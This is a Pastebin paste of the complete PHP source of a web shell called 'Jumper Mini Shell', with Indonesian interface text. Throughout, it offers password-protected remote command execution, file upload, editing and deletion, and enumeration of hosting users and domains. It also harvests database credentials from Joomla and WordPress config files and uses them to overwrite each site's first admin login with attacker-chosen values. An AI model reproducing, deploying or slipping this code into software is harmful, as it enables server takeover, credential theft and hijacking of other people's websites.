Advertisement
Guest User

Untitled

a guest
Dec 16th, 2017
593
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.04 KB | None | 0 0
  1. <?php
  2. session_start();
  3. set_time_limit(0);
  4. error_reporting(0);
  5. $auth_pass = "d0763edaa9d9bd2a9516280e9044d885";
  6. if(get_magic_quotes_gpc()) {
  7. function VEstripslashes($array) {
  8. return is_array($array) ? array_map('VEstripslashes', $array) : stripslashes($array); }
  9. $_POST = VEstripslashes($_POST);
  10. $_COOKIE = VEstripslashes($_COOKIE); }
  11.  
  12.  
  13. function Login() {
  14. die("
  15. <html>
  16. <head>
  17. <title>Login Page</title>
  18. <style type='text/css'>
  19. html {
  20. margin: 20px auto;
  21. background:black;
  22. color: green;
  23. text-align: center;
  24. }
  25. pre {
  26. color: white;
  27. }
  28.  
  29. input[type=password] {
  30. background:transparent;
  31. color:white;
  32. margin:0 10px;
  33. font-family:Homenaje;
  34. font-size:13px;
  35. border:2px solid white;
  36. }
  37.  
  38. </style>
  39. </head>
  40. <center>
  41. <br>
  42. <br>
  43. <header>
  44. <img src='https://raw.githubusercontent.com/rintoar/con7extnewproject/master/images/eromanga.png' width='400' height='400' align='center'>
  45. <br>
  46. <br>
  47. <form method='post'>
  48. <input type='password' name='pass'>
  49. </form>
  50. ");
  51. }
  52.  
  53. function VEsetcookie($k, $v) {
  54. $_COOKIE[$k] = $v;
  55. setcookie($k, $v);
  56. }
  57.  
  58. if(!empty($auth_pass)) {
  59. if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
  60. VEsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
  61.  
  62. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
  63. Login();
  64. }
  65. ?>
  66. <!DOCTYPE HTML>
  67. <HTML>
  68. <HEAD>
  69. <link href="" rel="stylesheet" type="text/css">
  70. <title>Jumper Mini Shell</title>
  71. <meta charset="utf-8">
  72. <meta name="viewport" content="width=device-width, initial-scale=1">
  73. <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
  74. <script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
  75. <style>
  76. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  77. html {
  78. background: url('https://i.pinimg.com/originals/f5/83/01/f58301e339c92411de0fdc59219e3355.jpg') fixed no-repeat;
  79. color: #ffffff;
  80. font-family: 'Ubuntu';
  81. font-size: 13px;
  82. width: 100%;
  83. }
  84. li {
  85. display: inline;
  86. margin: 5px;
  87. padding: 5px;
  88. }
  89. table, th, td {
  90. border-collapse:collapse;
  91. font-family: Tahoma, Geneva, sans-serif;
  92. background: transparent;
  93. font-family: 'Ubuntu';
  94. font-size: 13px;
  95. }
  96. .table_home, .th_home, .td_home {
  97. border: 1px solid #ffffff;
  98. }
  99. th {
  100. padding: 10px;
  101. }
  102. a {
  103. color: #ffffff;
  104. text-decoration: none;
  105. }
  106. a:hover {
  107. color: gold;
  108. text-decoration: underline;
  109. }
  110. b {
  111. color: gold;
  112. }
  113. input[type=text], input[type=password],input[type=submit] {
  114. background: transparent;
  115. color: #ffffff;
  116. border: 1px solid #ffffff;
  117. margin: 5px auto;
  118. padding-left: 5px;
  119. font-family: 'Ubuntu';
  120. font-size: 13px;
  121. }
  122. textarea {
  123. border: 1px solid #ffffff;
  124. width: 100%;
  125. height: 400px;
  126. padding-left: 5px;
  127. margin: 10px auto;
  128. resize: none;
  129. background: transparent;
  130. color: #ffffff;
  131. font-family: 'Ubuntu';
  132. font-size: 13px;
  133. }
  134. </style>
  135. </head>
  136.  
  137. <?php
  138. function w($dir,$perm) {
  139. if(!is_writable($dir)) {
  140. return "<font color=red>".$perm."</font>";
  141. } else {
  142. return "<font color=green>".$perm."</font>";
  143. }
  144. }
  145. function exe($cmd) {
  146. if(function_exists('system')) {
  147. @ob_start();
  148. @system($cmd);
  149. $buff = @ob_get_contents();
  150. @ob_end_clean();
  151. return $buff;
  152. } elseif(function_exists('exec')) {
  153. @exec($cmd,$results);
  154. $buff = "";
  155. foreach($results as $result) {
  156. $buff .= $result;
  157. } return $buff;
  158. } elseif(function_exists('passthru')) {
  159. @ob_start();
  160. @passthru($cmd);
  161. $buff = @ob_get_contents();
  162. @ob_end_clean();
  163. return $buff;
  164. } elseif(function_exists('shell_exec')) {
  165. $buff = @shell_exec($cmd);
  166. return $buff;
  167. }
  168. }
  169. function sulap($text) {
  170. if(!get_magic_quotes_gpc()) {
  171. return $text;
  172. }
  173. return stripslashes($text);
  174. }
  175. function GrabUrl($url,$type){
  176.  
  177. $urlArray = array();
  178.  
  179. $ch = curl_init();
  180. curl_setopt($ch, CURLOPT_URL, $url);
  181. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  182. $result = curl_exec($ch);
  183.  
  184. $regex='|<a.*?href="(.*?)"|';
  185. preg_match_all($regex,$result,$parts);
  186. $links=$parts[1];
  187. foreach($links as $link){
  188. array_push($urlArray, $link);
  189. }
  190. curl_close($ch);
  191.  
  192. foreach($urlArray as $value){
  193. $lol="$url$value";
  194. if(preg_match("#$type#is", $lol)) {
  195. echo "$lol\r\n";
  196. }
  197. }
  198. }
  199. function showdisablefunctions() {
  200. if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=red><b>".$disablefunc."</b></font></span>"; }
  201. else { return "<span style='color:lime'><b>NONE</b></span>"; }
  202. }
  203. function ambilKata($param, $kata1, $kata2){
  204. if(strpos($param, $kata1) === FALSE) return FALSE;
  205. if(strpos($param, $kata2) === FALSE) return FALSE;
  206. $start = strpos($param, $kata1) + strlen($kata1);
  207. $end = strpos($param, $kata2, $start);
  208. $return = substr($param, $start, $end - $start);
  209. return $return;
  210. }
  211. function perms($file){
  212. $perms = fileperms($file);
  213. if (($perms & 0xC000) == 0xC000) {
  214. // Socket
  215. $info = 's';
  216. } elseif (($perms & 0xA000) == 0xA000) {
  217. // Symbolic Link
  218. $info = 'l';
  219. } elseif (($perms & 0x8000) == 0x8000) {
  220. // Regular
  221. $info = '-';
  222. } elseif (($perms & 0x6000) == 0x6000) {
  223. // Block special
  224. $info = 'b';
  225. } elseif (($perms & 0x4000) == 0x4000) {
  226. // Directory
  227. $info = 'd';
  228. } elseif (($perms & 0x2000) == 0x2000) {
  229. // Character special
  230. $info = 'c';
  231. } elseif (($perms & 0x1000) == 0x1000) {
  232. // FIFO pipe
  233. $info = 'p';
  234. } else {
  235. // Unknown
  236. $info = 'u';
  237. }
  238.  
  239. // Owner
  240. $info .= (($perms & 0x0100) ? 'r' : '-');
  241. $info .= (($perms & 0x0080) ? 'w' : '-');
  242. $info .= (($perms & 0x0040) ?
  243. (($perms & 0x0800) ? 's' : 'x' ) :
  244. (($perms & 0x0800) ? 'S' : '-'));
  245.  
  246. // Group
  247. $info .= (($perms & 0x0020) ? 'r' : '-');
  248. $info .= (($perms & 0x0010) ? 'w' : '-');
  249. $info .= (($perms & 0x0008) ?
  250. (($perms & 0x0400) ? 's' : 'x' ) :
  251. (($perms & 0x0400) ? 'S' : '-'));
  252.  
  253. // World
  254. $info .= (($perms & 0x0004) ? 'r' : '-');
  255. $info .= (($perms & 0x0002) ? 'w' : '-');
  256. $info .= (($perms & 0x0001) ?
  257. (($perms & 0x0200) ? 't' : 'x' ) :
  258. (($perms & 0x0200) ? 'T' : '-'));
  259.  
  260. return $info;
  261. }
  262. $sys = php_uname();
  263. $ip = gethostbyname($_SERVER['HTTP_HOST']);
  264. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? '<font color="red">ON</font>' : '<font color="lime">OFF</font>';
  265. $getds = @ini_get("disable_functions");
  266. $ds = showdisablefunctions().' <font color=red>on</font> <font color=teal>'.php_sapi_name().'</font>';
  267. if(isset($_GET['path'])){
  268. $path = $_GET['path'];
  269. }else{
  270. $path = getcwd();
  271. }
  272. $path = str_replace('\\','/',$path);
  273. $paths = explode('/',$path);
  274. if(get_magic_quotes_gpc()){
  275. foreach($_POST as $key=>$value){
  276. $_POST[$key] = stripslashes($value);
  277. }
  278. }
  279. echo "System : <font color='lime'>$sys</font><br>";
  280. echo "Server IP : <font color='lime'>$ip</font><br>";
  281. echo "Disable Function : $getds<br>";
  282. echo "Safe Mode : $sm<br>";
  283. echo "<hr><br>";
  284. echo"
  285. <center>
  286. <ul>
  287. <li>[ <a href='?'>Home</a> ] </li>
  288. <li>[ <a href='?path=$path&jancok=upload'>Upload</a> ] </li>
  289. <li>[ <a href='?path=$path&jancok=cmd'>Command</a> ] </li>
  290. <li>[ <a href='?path=$path&jancok=adminer'>Adminer</a> ] </li>
  291. <li>[ <a href='?path=$path&jancok=salto'>Domain List</a> ] </li>
  292. <li>[ <a href='?path=$path&jancok=saltokuy'>User List</a> ] </li>";
  293. echo '
  294. <br>
  295. <hr color="#191919">
  296. <br>
  297. <table width="700" align="center">
  298. <tr><td><font color="white">Current Path : </font>';
  299. foreach($paths as $id=>$pat){
  300. if($pat == '' && $id == 0){
  301. $a = true;
  302. echo '<a href="?path=/">/</a>';
  303. continue;
  304. }
  305. if($pat == '') continue;
  306. echo '<a href="?path=';
  307. for($i=0;$i<=$id;$i++){
  308. echo "$paths[$i]";
  309. if($i != $id) echo "/";
  310. }
  311. echo '">'.$pat.'</a>/';
  312. }
  313. echo '</td></tr>';
  314. echo '</table>';
  315. echo '<hr color="#191919"><br>';
  316. if($_GET['jancok'] == 'upload') {
  317. echo "<center>";
  318. if($_POST['upload']) {
  319. if(@copy($_FILES['ix_file']['tmp_name'], "$path/".$_FILES['ix_file']['name']."")) {
  320. $act = "<font color=lime>Uploaded!</font> at <i><b>$path/".$_FILES['ix_file']['name']."</b></i>";
  321. } else {
  322. $act = "<font color=red>failed to upload file</font>";
  323. }
  324. }
  325. echo "Upload File: [ ".w($path,"Writeable")." ]<form method='post' enctype='multipart/form-data'><input type='file' name='ix_file'><input type='submit' value='upload' name='upload'></form>";
  326. echo $act;
  327. echo "</center>";
  328. }
  329. elseif($_GET['jancok'] == 'adminer') {
  330. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $path);
  331. function adminer($url, $isi) {
  332. $fp = fopen($isi, "w");
  333. $ch = curl_init();
  334. curl_setopt($ch, CURLOPT_URL, $url);
  335. curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  336. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  337. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  338. curl_setopt($ch, CURLOPT_FILE, $fp);
  339. return curl_exec($ch);
  340. curl_close($ch);
  341. fclose($fp);
  342. ob_flush();
  343. flush();
  344. }
  345. if(file_exists('adminer.php')) {
  346. echo "<center><font color=white><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  347. } else {
  348. if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
  349. echo "<center><font color=white><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  350. } else {
  351. echo "<center><font color=red>gagal buat file adminer</font></center>";
  352. }
  353. }
  354. }elseif($_GET['jancok'] == 'cmd') {
  355. echo "<center><form method='post'>
  356. <font style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).": ~ $ </font>
  357. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  358. </form>";
  359. if($_POST['do_cmd']) {
  360. echo "<pre><textarea>".exe($_POST['cmd'])."</textarea></pre>";
  361. }
  362. }
  363. elseif($_GET['jancok'] == 'saltokuy') {
  364. if(isset($_POST['usernya'])) {
  365. $userr = $_POST['usernya'];
  366. echo "<center><br><form method='post' target='_blank' action='?path=/home/$userr/backupwordpress'>
  367. <input type='submit' name='g' value='Saltoin' >
  368. </form>";
  369. } else {
  370. echo'<center><br><form method="post">
  371. <input type="text" name="usernya" size="50" height="10" placeholder="usernya" style="margin: 5px auto; padding-left: 5px;" required><br>
  372. <input type="submit" name="gg" value="Anuin" ></form>';
  373. }
  374.  
  375.  
  376. echo "<form method='post'>
  377. <input type='text' size='30' height='10' name='cmd' value='tar -zxvf '><input type='submit' name='do_cmd' value='X'>
  378. </form>";
  379. if($_POST['do_cmd']) {
  380. echo "<textarea name='script' style='width: 450px; height: 200px;'>".exe($_POST['cmd'])."</textarea>";
  381. }
  382. if($_POST['hajar']) {
  383. if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  384. echo "username atau password harus lebih dari 6 karakter";
  385. } else {
  386. $user_baru = $_POST['user_baru'];
  387. $pass_baru = md5($_POST['pass_baru']);
  388. $conf = $_POST['config_dir'];
  389. $scan_conf = scandir($conf);
  390. foreach($scan_conf as $file_conf) {
  391. if(!is_file("$conf/$file_conf")) continue;
  392. $config = file_get_contents("$conf/$file_conf");
  393. if(preg_match("/JConfig|joomla/",$config)) {
  394. $dbhost = ambilkata($config,"host = '","'");
  395. $dbuser = ambilkata($config,"user = '","'");
  396. $dbpass = ambilkata($config,"password = '","'");
  397. $dbname = ambilkata($config,"db = '","'");
  398. $dbprefix = ambilkata($config,"dbprefix = '","'");
  399. $prefix = $dbprefix."users";
  400. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  401. $db = mysql_select_db($dbname);
  402. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  403. $result = mysql_fetch_array($q);
  404. $id = $result['id'];
  405. $site = ambilkata($config,"sitename = '","'");
  406. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  407. echo "Config => ".$file_conf."<br>";
  408. echo "CMS => Joomla<br>";
  409. if($site == '') {
  410. echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  411. } else {
  412. echo "Sitename => $site<br>";
  413. }
  414. if(!$update OR !$conn OR !$db) {
  415. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  416. } else {
  417. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  418. }
  419. mysql_close($conn);
  420. } elseif(preg_match("/WordPress/",$config)) {
  421. $dbhost = ambilkata($config,"DB_HOST', '","'");
  422. $dbuser = ambilkata($config,"DB_USER', '","'");
  423. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  424. $dbname = ambilkata($config,"DB_NAME', '","'");
  425. $dbprefix = ambilkata($config,"table_prefix = '","'");
  426. $prefix = $dbprefix."users";
  427. $option = $dbprefix."options";
  428. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  429. $db = mysql_select_db($dbname);
  430. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  431. $result = mysql_fetch_array($q);
  432. $id = $result[ID];
  433. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  434. $result2 = mysql_fetch_array($q2);
  435. $target = $result2[option_value];
  436. if($target == '') {
  437. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  438. } else {
  439. $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  440. }
  441. $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  442. echo "Config => ".$file_conf."<br>";
  443. echo "CMS => Wordpress<br>";
  444. echo $url_target;
  445. if(!$update OR !$conn OR !$db) {
  446. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  447. } else {
  448. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  449. }
  450. mysql_close($conn);
  451. }
  452. }
  453. }
  454. } else {
  455. echo "
  456.  
  457. <form method='post' target='_blank'>
  458. <input type='text' size='70' name='config_dir' value='$path/'><br>
  459. <input type='text' name='user_baru' value='monkey' placeholder='user_baru'><br>
  460. <input type='text' name='pass_baru' value='monkey' placeholder='pass_baru'><br>
  461. <input type='submit' name='hajar' value='Sikat' style='width: 215px;'>
  462. </form>
  463. ";
  464.  
  465.  
  466. echo "<center>";
  467. echo "<table align='center'><tr><th> USER </table></th></tr>";
  468. echo "<textarea name='script' style='width: 450px; height: 200px;'>";
  469. $domains = scandir("/var/named");
  470. $count=1;
  471. $dc = 0;
  472. $list = scandir("/var/named");
  473. foreach($list as $domain){
  474. if(strpos($domain,".db")){
  475. $domain = str_replace('.db','',$domain);
  476. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  477. $dirz = '/home/'.$owner['name'].'/backupwordpress';
  478.  
  479. if (is_readable($dirz)) {
  480. echo "".$owner['name']."\n";
  481. $dc++;
  482. }
  483.  
  484. }
  485. }
  486. echo"</textarea>";
  487. $total = $dc;
  488. echo '<br><div class="result">Total Anu Found = '.$total.'</h3><br />';
  489. echo '</center>';
  490. }
  491. }
  492. elseif($_GET['jancok'] == 'salto') {
  493. $all = array();
  494. // domain finder.
  495. $d0mains = file('/etc/named.conf');
  496. $domains = scandir("/var/named");
  497.  
  498. if($domains or $d0mains){
  499. $count = 0;
  500. if($domains){
  501. echo "<center><h1>Count Domains on user</h1></center><br><br>";
  502. $cur = array();
  503. foreach($domains as $domain){
  504. if(strpos($domain, '.db')){
  505. $dom = str_replace('.db', '', $domain);
  506. $own = posix_getpwuid(fileowner("/etc/valiases/$dom"));
  507. $user = $own['name'];
  508. $all[$user][] = $dom;
  509. //echo "$user: $dom<br/>";
  510. }
  511. }
  512. echo "";
  513. }
  514. elseif($d0mains){
  515.  
  516. $mck = array();
  517. foreach($d0mains as $domain){
  518. preg_match_all('#zone "(.*)"#',$domain,$dom);
  519. flush();
  520. if(strlen(trim($domain[1][0])) >2){
  521. $mck[] = $dom[1][0];
  522. }
  523. }
  524.  
  525. $mck = array_unique($mck);
  526. foreach($mck as $dom){
  527. $own = posix_getpwuid(fileowner("/etc/valiases/$dom"));
  528. $user = $own['name'];
  529. $all[$user][] = $dom;
  530. //echo "$user: $dom<br/>";
  531. }
  532. echo "";
  533. }
  534. }
  535. foreach($all as $user => $domain){
  536. echo "<center>User <font color='red'>$user</font> has <font color='red'>".count($domain)."</font> Domains below :<br></center>";
  537. echo "<center>---------------<br>";
  538. foreach($domain as $v){
  539. echo "<center><a href='http://$v/' target='_blank'>http://$v<a><br></center>";
  540. }
  541. echo "<center>---------------";
  542. echo "<br><br>";
  543. }
  544.  
  545. }
  546. elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  547. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  548. if($_POST['opt'] == 'chmod'){
  549. if(isset($_POST['perm'])){
  550. if(chmod($_POST['path'],$_POST['perm'])){
  551. echo '<font color="green">Success !</font><br/>';
  552. }else{
  553. echo '<font color="red">Denied !</font><br />';
  554. }
  555. }
  556. echo '<form method="POST">
  557. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  558. <input type="hidden" name="path" value="'.$_POST['path'].'">
  559. <input type="hidden" name="opt" value="chmod">
  560. <input type="submit" value="Go" />
  561. </form>';
  562. }
  563. elseif($_POST['opt'] == 'rename'){
  564. if(isset($_POST['newname'])){
  565. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  566. echo '<font color="green">Success !</font><br/>';
  567. }else{
  568. echo '<font color="red">Denied !</font><br />';
  569. }
  570. $_POST['name'] = $_POST['newname'];
  571. }
  572. echo '<form method="POST">
  573. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  574. <input type="hidden" name="path" value="'.$_POST['path'].'">
  575. <input type="hidden" name="opt" value="rename">
  576. <input type="submit" value="Go" />
  577. </form>';
  578. }elseif($_POST['opt'] == 'edit'){
  579. if(isset($_POST['src'])){
  580. $fp = fopen($_POST['path'],'w');
  581. if(fwrite($fp,$_POST['src'])){
  582. echo '<font color="green">Success !</font><br/>';
  583. }else{
  584. echo '<font color="red">Denied !</font><br/>';
  585. }
  586. fclose($fp);
  587. }
  588. echo '<form method="POST">
  589. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  590. <input type="hidden" name="path" value="'.$_POST['path'].'">
  591. <input type="hidden" name="opt" value="edit">
  592. <input type="submit" value="Save" />
  593. </form>';
  594. }
  595. echo '</center>';
  596. }else{
  597. echo '</table><br/><center>';
  598. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  599. if($_POST['type'] == 'dir'){
  600. if(rmdir($_POST['path'])){
  601. echo '<font color="green">Success !</font><br/>';
  602. }else{
  603. echo '<font color="red">Denied ! </font><br/>';
  604. }
  605. }elseif($_POST['type'] == 'file'){
  606. if(unlink($_POST['path'])){
  607. echo '<font color="green">Success</font><br/>';
  608. }else{
  609. echo '<font color="red">Denied</font><br/>';
  610. }
  611. }
  612. }
  613. echo '</center>';
  614. $scandir = scandir($path);
  615. echo '<div id="content"><div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  616.  
  617. <tr class="first">
  618. <td><center>Name</center></td>
  619. <td><center>Size</center></td>
  620. <td><center>Permission</center></td>
  621. <td><center>Action</center></td>
  622. </tr>';
  623.  
  624. foreach($scandir as $dir){
  625. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  626. echo '<tr>
  627. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  628. <td><center>--</center></td>
  629. <td><center>';
  630. if(is_writable($path.'/'.$dir)) echo '<font color="green">';
  631. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  632. echo perms($path.'/'.$dir);
  633. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  634.  
  635. echo '</center></td>
  636. <td><center><form method="POST" action="?option&path='.$path.'">
  637. <select name="opt">
  638. <option value="">Select</option>
  639. <option value="delete">Delete</option>
  640. <option value="chmod">Chmod</option>
  641. <option value="rename">Rename</option>
  642. </select>
  643. <input type="hidden" name="type" value="dir">
  644. <input type="hidden" name="name" value="'.$dir.'">
  645. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  646. <input type="submit" value=">">
  647. </form></center></td>
  648. </tr>';
  649. }
  650. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  651. foreach($scandir as $file){
  652. if(!is_file($path.'/'.$file)) continue;
  653. $size = filesize($path.'/'.$file)/1024;
  654. $size = round($size,3);
  655. if($size >= 1024){
  656. $size = round($size/1024,2).' MB';
  657. }else{
  658. $size = $size.' KB';
  659. }
  660.  
  661. echo '<tr>
  662. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  663. <td><center>'.$size.'</center></td>
  664. <td><center>';
  665. if(is_writable($path.'/'.$file)) echo '<font color="green">';
  666. elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
  667. echo perms($path.'/'.$file);
  668. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  669. echo '</center></td>
  670. <td><center><form method="POST" action="?option&path='.$path.'">
  671. <select name="opt">
  672. <option value="">Select</option>
  673. <option value="delete">Delete</option>
  674. <option value="chmod">Chmod</option>
  675. <option value="rename">Rename</option>
  676. <option value="edit">Edit</option>
  677. </select>
  678. <input type="hidden" name="type" value="file">
  679. <input type="hidden" name="name" value="'.$file.'">
  680. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  681. <input type="submit" value=">">
  682. </form></center></td>
  683. </tr>';
  684. }
  685. echo '</table>
  686. </div>';
  687. }
  688. echo '<br><br><hr color="#191919"><br><center><br/>Copyright &copy BACOT NGENTOD</center>
  689. </body>
  690. </html>';
  691. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement